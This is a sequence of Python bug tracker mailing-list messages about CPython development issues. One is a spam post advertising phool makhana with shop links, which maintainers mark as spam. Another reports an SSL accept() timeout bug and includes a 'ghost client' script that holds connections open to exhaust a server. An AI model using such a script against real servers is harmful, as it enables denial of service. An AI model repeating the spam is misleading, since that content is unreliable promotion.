parameter type: behavior versions: Python 3.9 Added file: https://bugs.python.org/file50583/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:53:53 2022 From: report at bugs.python.org (Faizan javed) Date: Tue, 25 Jan 2022 11:53:53 +0000 Subject: [issue46515] Benefits Of Phool Makhana Message-ID: <1643111633.34.0.84011339346.issue46515@roundup.psfhosted.org> New submission from Faizan javed : Makhanas are widely cultivated throughout Asia and often used in traditional forms of medicine to treat various https://www.hunzabazar.com/product/phool-makhana-price-in-pakistan/ https://www.hunzabazar.com/ ---------- components: 2to3 (2.x to 3.x conversion tool) messages: 411578 nosy: faizanjaved2021 priority: normal severity: normal status: open title: Benefits Of Phool Makhana type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:11:02 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 25 Jan 2022 12:11:02 +0000 Subject: [issue46516] Use existing unbound_local_error label in DELETE_FAST opcode Message-ID: <1643112662.24.0.773924302254.issue46516@roundup.psfhosted.org> New submission from Kumar Aditya : There was already a unbound_local_error label defined so use it in DELETE_FAST opcode too. ---------- components: Interpreter Core messages: 411579 nosy: Mark.Shannon, kj, kumaraditya303 priority: normal pull_requests: 29063 severity: normal status: open title: Use existing unbound_local_error label in DELETE_FAST opcode versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:11:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 12:11:52 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643112712.44.0.841949751868.issue46510@roundup.psfhosted.org> Irit Katriel added the comment: It's not my intention here to go on a search-and-destroy mission to remove all calls to sys.exc_info(), that would cause unnecessary code churn. I am reviewing them to see where the call the sys.exc_info is close to other legacy problems/significant complexity/missing tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:15:36 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 25 Jan 2022 12:15:36 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643112936.13.0.94549833668.issue46510@roundup.psfhosted.org> Kumar Aditya added the comment: > It's not my intention here to go on a search-and-destroy mission to remove all calls to sys.exc_info(), that would cause unnecessary code churn. I am reviewing them to see where the call the sys.exc_info is close to other legacy problems/significant complexity/missing tests. That's my intention too, in argparse it was used to get the currently handled exception value which can be easily accessed by using "as" in exception handling, so it makes sense to change it, not to mention that using exc_info creates a temporary tuple which is of no use in this scenario. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:17:04 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 12:17:04 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643113024.04.0.774917979357.issue46503@roundup.psfhosted.org> Change by Eric V. Smith : ---------- pull_requests: +29064 pull_request: https://github.com/python/cpython/pull/30883 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:28:42 2022 From: report at bugs.python.org (Mark Shannon) Date: Tue, 25 Jan 2022 12:28:42 +0000 Subject: [issue46420] Use NOTRACE_DISPATCH in specialized opcodes Message-ID: <1643113722.82.0.0510398387052.issue46420@roundup.psfhosted.org> New submission from Mark Shannon : New changeset 96bf84d57a7c29544866a6c20231603049de4919 by Dennis Sweeney in branch 'main': bpo-46420: Use NOTRACE_DISPATCH() in specialized opcodes (GH-30652) https://github.com/python/cpython/commit/96bf84d57a7c29544866a6c20231603049de4919 ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:29:21 2022 From: report at bugs.python.org (Yu Zhao) Date: Tue, 25 Jan 2022 12:29:21 +0000 Subject: [issue40077] Convert static types to heap types: use PyType_FromSpec() In-Reply-To: <1585238684.65.0.246012172449.issue40077@roundup.psfhosted.org> Message-ID: <1643113761.77.0.975660960056.issue40077@roundup.psfhosted.org> Change by Yu Zhao : ---------- nosy: +CharlieZhao nosy_count: 14.0 -> 15.0 pull_requests: +29065 pull_request: https://github.com/python/cpython/pull/30884 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:33:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 12:33:04 +0000 Subject: [issue46517] Review exception handling in urllib.parse Message-ID: <1643113984.02.0.925537875047.issue46517@roundup.psfhosted.org> New submission from Irit Katriel : Is there a reason for this raising, catching and reraising the exception here: https://github.com/python/cpython/blob/main/Lib/urllib/parse.py#L934 rather than just: if len(query) and not isinstance(query[0], tuple): raise TypeError("not a valid non-string sequence " "or mapping object") ? ---------- components: Library (Lib) messages: 411583 nosy: iritkatriel, orsenthil priority: normal severity: normal status: open title: Review exception handling in urllib.parse type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:37:21 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 12:37:21 +0000 Subject: [issue46517] Review exception handling in urllib.parse In-Reply-To: <1643113984.02.0.925537875047.issue46517@roundup.psfhosted.org> Message-ID: <1643114241.62.0.5471439941.issue46517@roundup.psfhosted.org> Irit Katriel added the comment: In urllib.request, there are in a few places things like: except OSError as msg: raise OSError('socket error', msg).with_traceback(sys.exc_info()[2]) I imagine this predates chaining - is there a reason not to raise..from here instead of wrapping the "msg" exception (I'm guessing from the name that this used to be a string, but now it's actually an exception). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:38:42 2022 From: report at bugs.python.org (tomazas) Date: Tue, 25 Jan 2022 12:38:42 +0000 Subject: [issue46518] SSL socket timeout not set after client connects via accept Message-ID: <1643114321.92.0.142343985448.issue46518@roundup.psfhosted.org> New submission from tomazas : Once a client connects to a SSL server over socket accept() the newly returned client socket `newsock` is wrapped in SSL context. Since the new client `newsock` does not have a socket timeout set (i.e. None), the final returned SSL context socket is also assigned `None` socket timeout. Clients are then able to connect to such server and hold the connection indefinitely without sending any data to server (ghosting the server connections). Problematic excerpt from Lib/ssl.py: ``` def accept(self): """Accepts a new connection from a remote client, and returns a tuple containing that new connection wrapped with a server-side SSL channel, and the address of the remote client.""" newsock, addr = super().accept() newsock = self.context.wrap_socket(newsock, do_handshake_on_connect=self.do_handshake_on_connect, suppress_ragged_eofs=self.suppress_ragged_eofs, server_side=True) return newsock, addr ``` Attached minimal https.py server Python3 example producing the issue. After the server is working run the bellow ghost client script to produce the issue: ``` # Script implements ghost client (that does not send anything to server but keeps connection active until server socket timeouts or forever if socket timeouts are not working) # Usage - after https.py server is launched run using: python3 ghost.py import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("localhost", 443)) print("connected") while True: print("ghosting started") data = sock.recv(4096) # read to block if not data: break print(data) print("done.") ``` Possible workarounds: 1. socket.setdefaulttimeout(2) - works but interferes with all possible socket operations 2. Patch the socket accept() operation and set the timeout value there before doing any socket operations, e.g.: ``` import socket old_accept = socket.socket.accept def patch_accept(self): newsock, addr = old_accept(self) newsock.settimeout(2) # sets the client socket timeout print("socket.accept patched") return newsock, addr socket.socket.accept = patch_accept # TODO: now run all the SSL server socket code here ``` ---------- files: https.py messages: 411585 nosy: tomazas priority: normal severity: normal status: open title: SSL socket timeout not set after client connects via accept type: behavior versions: Python 3.10, Python 3.11 Added file: https://bugs.python.org/file50584/https.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:38:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 12:38:30 +0000 Subject: [issue46517] Review exception handling in urllib In-Reply-To: <1643113984.02.0.925537875047.issue46517@roundup.psfhosted.org> Message-ID: <1643114310.76.0.0216374548259.issue46517@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: Review exception handling in urllib.parse -> Review exception handling in urllib _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:39:35 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 Jan 2022 12:39:35 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643114375.1.0.862451934383.issue33125@roundup.psfhosted.org> Steve Dower added the comment: > Our challenge with the installer is the portability of Wix Toolset. I'm pretty sure our current version doesn't support ARM64, and they haven't released a newer version that does yet. Turns out they've released some test versions that support it (partially, but enough), just nothing that they've declared stable. I'll push updated tools for 3.11 so we have a chance to discover any breakage in earlier versions, but should be able to do ARM64 regular installer next alpha (Pablo, FYI - this will require updates to your side of things). ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:08:28 2022 From: report at bugs.python.org (Matheus Castanho) Date: Tue, 25 Jan 2022 13:08:28 +0000 Subject: [issue46519] test_typing failing on branch 3.10 Message-ID: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> New submission from Matheus Castanho : test_typing on branch 3.10 is failing after GH-30770 [1] test test_typing failed -- Traceback (most recent call last): File "/home/mscastanho/AT/python-next-220124/opt/at-next-16.0-0-alpha/lib64/python3.10/test/test_typing.py", line 3917, in setUpClass UserId = NewType('UserId', int) NameError: name 'NewType' is not defined Looks like `from typing import NewType` is not needed anymore in this file on the main branch (where this commit originated), but still is for 3.10. [1] https://github.com/python/cpython/pull/30770 ---------- components: Tests messages: 411587 nosy: mscastanho priority: normal severity: normal status: open title: test_typing failing on branch 3.10 versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:14:22 2022 From: report at bugs.python.org (Matthew Barnett) Date: Tue, 25 Jan 2022 13:14:22 +0000 Subject: [issue46515] Benefits Of Phool Makhana In-Reply-To: <1643111633.34.0.84011339346.issue46515@roundup.psfhosted.org> Message-ID: <1643116462.83.0.0723624518356.issue46515@roundup.psfhosted.org> Change by Matthew Barnett : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:27:26 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 13:27:26 +0000 Subject: [issue46517] Review exception handling in urllib In-Reply-To: <1643113984.02.0.925537875047.issue46517@roundup.psfhosted.org> Message-ID: <1643117246.61.0.881171845607.issue46517@roundup.psfhosted.org> Irit Katriel added the comment: Note that test.support has special handling for urllib's nested exception structure: https://github.com/python/cpython/blob/3.10/Lib/test/support/socket_helper.py#L250 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:48:43 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 13:48:43 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643118523.59.0.657970746355.issue33125@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: No problem! What do I need to update? The script to add the binaries to the release page? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:51:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 13:51:08 +0000 Subject: [issue46396] `Concatenate` should not raise any semantic errors In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1643118668.84.0.438635371436.issue46396@roundup.psfhosted.org> Nikita Sobolev added the comment: I think that in case when we preserve the runtime checks, they should be covered by tests. Right now - they are not. So, I will switch my PR to the initial version with a new test case. Does this sound right? :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:51:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 13:51:40 +0000 Subject: [issue45945] compileall.py throws a traceback when using -j0 and thus 'make install' locks up In-Reply-To: <1638349096.96.0.35958886089.issue45945@roundup.psfhosted.org> Message-ID: <1643118700.92.0.235941481085.issue45945@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> "dictionary changed size during iteration" error in _ExecutorManagerThread _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:58:44 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 13:58:44 +0000 Subject: [issue46515] Benefits Of Phool Makhana Message-ID: <1643119124.68.0.0996403829473.issue46515@roundup.psfhosted.org> Change by Eric V. Smith : ---------- Removed message: https://bugs.python.org/msg411578 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:59:00 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 13:59:00 +0000 Subject: [issue46515] SPAM Message-ID: <1643119140.41.0.0540811281031.issue46515@roundup.psfhosted.org> Change by Eric V. Smith : ---------- nosy: -faizanjaved2021 title: Benefits Of Phool Makhana -> SPAM _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:59:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 13:59:38 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643119178.38.0.350586433852.issue46502@roundup.psfhosted.org> Irit Katriel added the comment: The python parser was completely rewritten in version 3.9, so it's likely that this caused changes to error messages. Adding @pablogsal and @lys.nikolaou in case they can say more. ---------- nosy: +iritkatriel, lys.nikolaou, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:12:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:12:02 +0000 Subject: [issue25970] py_compile.compile fails if existing bytecode file is unwritable In-Reply-To: <1451342366.02.0.359815374422.issue25970@psf.upfronthosting.co.za> Message-ID: <1643119922.79.0.0193661737868.issue25970@roundup.psfhosted.org> Irit Katriel added the comment: It is explicitly documented that existing files are not overwritten and the script fails in this case, so I think this is a feature: https://docs.python.org/3/library/py_compile.html#py_compile.compile ---------- nosy: +iritkatriel resolution: -> rejected status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:23:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:23:18 +0000 Subject: [issue5884] pydoc to return error status code In-Reply-To: <1241053592.21.0.872598622661.issue5884@psf.upfronthosting.co.za> Message-ID: <1643120598.59.0.49455061051.issue5884@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: needs patch -> resolved status: open -> closed superseder: -> pydoc should return non-zero exit code when a query is not found _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:28:02 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 14:28:02 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643120882.67.0.100124006792.issue46503@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Thanks for the quick fix, Eric! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:29:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:29:52 +0000 Subject: [issue31305] 'pydoc -w import' report "no Python documentation found for 'import'" In-Reply-To: <1536912870.64.0.956365154283.issue31305@psf.upfronthosting.co.za> Message-ID: <1643120992.84.0.692861555542.issue31305@roundup.psfhosted.org> Irit Katriel added the comment: It is still relevant, but there is another issue for this: issue11831. ---------- nosy: +iritkatriel resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> "pydoc -w" causes "no Python documentation found" error when the path is not current directory _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:30:12 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:30:12 +0000 Subject: [issue11831] "pydoc -w" causes "no Python documentation found" error when the path is not current directory In-Reply-To: <1302568965.6.0.204734578124.issue11831@psf.upfronthosting.co.za> Message-ID: <1643121012.43.0.81880011501.issue11831@roundup.psfhosted.org> Irit Katriel added the comment: Closed Issue31305 as a duplicate of this. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:32:05 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 14:32:05 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643121125.93.0.162556480761.issue46502@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Indeed, these new errors are due to the new parser. Unfortunately, the new parser doesn't allow to check against incomplete input the way the old one did so that piece of documentation is unfortunately outdated. We should remove it to avoid further confusion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:36:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:36:35 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643121395.03.0.951116929217.issue46502@roundup.psfhosted.org> Irit Katriel added the comment: Mateusz, would you like to submit a patch to remove this section from the faq? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:36:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:36:46 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643121406.16.0.272697969216.issue46502@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:38:54 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 14:38:54 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643121534.29.0.718359434039.issue46491@roundup.psfhosted.org> miss-islington added the comment: New changeset 41e0aead3defa6d0486514e313b6975fbf375998 by Miss Islington (bot) in branch '3.10': bpo-46491: Allow Annotated on outside of Final/ClassVar (GH-30864) https://github.com/python/cpython/commit/41e0aead3defa6d0486514e313b6975fbf375998 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:39:15 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 14:39:15 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643121555.69.0.153708802134.issue46491@roundup.psfhosted.org> miss-islington added the comment: New changeset b0b8388a1c29dc9203dd1a9e8b1420a6a5e88c97 by Miss Islington (bot) in branch '3.9': bpo-46491: Allow Annotated on outside of Final/ClassVar (GH-30864) https://github.com/python/cpython/commit/b0b8388a1c29dc9203dd1a9e8b1420a6a5e88c97 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:40:07 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 14:40:07 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643121607.67.0.585613199353.issue46491@roundup.psfhosted.org> Ken Jin added the comment: Thanks Gregory for fixing this! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:43:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:43:07 +0000 Subject: [issue31057] pydoc for tempfile.TemporaryDirectory should say it returns the name In-Reply-To: <1501167953.07.0.778065697758.issue31057@psf.upfronthosting.co.za> Message-ID: <1643121787.0.0.741123163635.issue31057@roundup.psfhosted.org> Irit Katriel added the comment: The OP seems to have abandoned this and all it got was a +0 for changing, so I suggest we close it. ---------- nosy: +iritkatriel resolution: -> wont fix status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:45:25 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 14:45:25 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643121925.15.0.0888355886931.issue46519@roundup.psfhosted.org> Ken Jin added the comment: Thanks Matheus for the report. I can reproduce this too. Unrelated: I'm confused why the CI checks passed on 3.10. Furthermore the buildbots aren't complaining. ---------- nosy: +kj, sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:46:40 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 Jan 2022 14:46:40 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643122000.91.0.0269931759701.issue33125@roundup.psfhosted.org> Steve Dower added the comment: Yeah, will just be the same files again but with "arm64" in place of "win32"/"amd64". I'm also going to stop uploading the old webinstall files with my change here, though that shouldn't matter. The code we added to filter them out should handle them being completely absent, IIRC. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:48:01 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 Jan 2022 14:48:01 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643122081.39.0.709165582519.issue33125@roundup.psfhosted.org> Change by Steve Dower : ---------- pull_requests: +29066 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30885 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:48:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 14:48:27 +0000 Subject: [issue26120] pydoc: move __future__ imports out of the DATA block In-Reply-To: <1452839500.03.0.307183465285.issue26120@psf.upfronthosting.co.za> Message-ID: <1643122107.9.0.126520357852.issue26120@roundup.psfhosted.org> Irit Katriel added the comment: It's like this: >>> import foo >>> dir(foo) ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'annotations', 'x'] >>> foo.annotations _Feature((3, 7, 0, 'beta', 1), (3, 11, 0, 'alpha', 0), 16777216) So the attribute in foo is called annotations, i.e. it's not private. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:52:19 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 14:52:19 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1643122339.91.0.285645571348.issue46445@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +29067 pull_request: https://github.com/python/cpython/pull/30886 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 09:59:37 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 14:59:37 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643122777.88.0.432841788317.issue46519@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch pull_requests: +29068 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30886 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:04:49 2022 From: report at bugs.python.org (Mateusz Loskot) Date: Tue, 25 Jan 2022 15:04:49 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643123089.92.0.508088178632.issue46502@roundup.psfhosted.org> Mateusz Loskot added the comment: Irit, I can and I will submit a patch. However, I'm very keen to learn what is an alternative solution then to distinguish hard invalid from incomplete input. IOW, what would be the new way of achieving what's described in the old FAQ? I believe it would be more useful to the community if I updated the sample in the FAQ instead of just removing it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:06:17 2022 From: report at bugs.python.org (Kodiologist) Date: Tue, 25 Jan 2022 15:06:17 +0000 Subject: [issue46520] `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words Message-ID: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> New submission from Kodiologist : This works: ??? = 1 This raises SyntaxError: import ast exec(ast.unparse(ast.parse("??? = 1"))) It looks like `ast.parse` creates a `Name` node with `id='def'`, which is correct per PEP 3131, but `ast.unparse` doesn't know it needs to mangle the output somehow, as "???" or a similar Unicode replacement. ---------- components: Library (Lib) messages: 411606 nosy: Kodiologist priority: normal severity: normal status: open title: `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:06:25 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 15:06:25 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643123185.91.0.717776365392.issue46519@roundup.psfhosted.org> Nikita Sobolev added the comment: One of the first things to think of: maybe `NewTypeTests` are not executed at all on 3.10? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:09:36 2022 From: report at bugs.python.org (Tushar Sadhwani) Date: Tue, 25 Jan 2022 15:09:36 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes Message-ID: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> New submission from Tushar Sadhwani : compile_command used to raise error for this until Python 3.9: ``` >>> import code >>> code.compile_command("abc def '''") Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.9/codeop.py", line 132, in compile_command return _maybe_compile(_compile, source, filename, symbol) File "/usr/lib/python3.9/codeop.py", line 106, in _maybe_compile raise err1 File "/usr/lib/python3.9/codeop.py", line 93, in _maybe_compile code1 = compiler(source + "\n", filename, symbol) File "/usr/lib/python3.9/codeop.py", line 111, in _compile return compile(source, filename, symbol, PyCF_DONT_IMPLY_DEDENT) File "", line 1 abc def ''' ^ SyntaxError: invalid syntax ``` But in Python 3.10.0 it no longer is an error: ``` >>> import code >>> code.compile_command("abc def '''") >>> ``` ---------- components: Parser messages: 411608 nosy: lys.nikolaou, pablogsal, tusharsadhwani priority: normal severity: normal status: open title: compile_command not raising syntax error when command ends with triple quotes type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:10:18 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 15:10:18 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643123418.65.0.508793401185.issue46502@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > However, I'm very keen to learn what is an alternative solution then to distinguish hard invalid from incomplete input. IOW, what would be the new way of achieving what's described in the old FAQ? Unfortunately, there is no new way to do this from C due to how the new parser works. The only supported way is to manually import the codeop module from C (https://docs.python.org/3/library/codeop.html#module-codeop) and use its API as IDLE does, but this API can differ and will present its own complications, as unfortunately is implemented in a bit hacky way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:14:07 2022 From: report at bugs.python.org (April King) Date: Tue, 25 Jan 2022 15:14:07 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643123647.87.0.369784493396.issue42982@roundup.psfhosted.org> April King added the comment: Django probably stores and computes more passwords than every other Python framework combined, and it doesn't provide you any control over the number of iterations. And it hasn't for years. If this were truly a problem, wouldn't their users be complaining about it constantly? Werkzeug was doing 150,000 iterations as of 0.15.x, released three years ago, and does 260,000 iterations today. Again, no complaints or issues. In practicality, this is almost never a problem - user logins and password changes are extremely rare events compared to all other activity, and so the computation time is essentially irrelevant outside response time for that individual user. No matter how many users, the systems are scaling such that the computation time of that rare event remains a fraction of overall CPU use. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:16:23 2022 From: report at bugs.python.org (Thomas Grainger) Date: Tue, 25 Jan 2022 15:16:23 +0000 Subject: [issue46522] concurrent.futures.__getattr__ raises the wrong AttributeError message Message-ID: <1643123783.64.0.215214582085.issue46522@roundup.psfhosted.org> New submission from Thomas Grainger : >>> import types >>> types.ModuleType("concurrent.futures").missing_attribute Traceback (most recent call last): File "", line 1, in AttributeError: module 'concurrent.futures' has no attribute 'missing_attribute' >>> import concurrent.futures >>> concurrent.futures.missing_attribute Traceback (most recent call last): File "", line 1, in File "/home/graingert/miniconda3/lib/python3.9/concurrent/futures/__init__.py", line 53, in __getattr__ raise AttributeError(f"module {__name__} has no attribute {name}") AttributeError: module concurrent.futures has no attribute 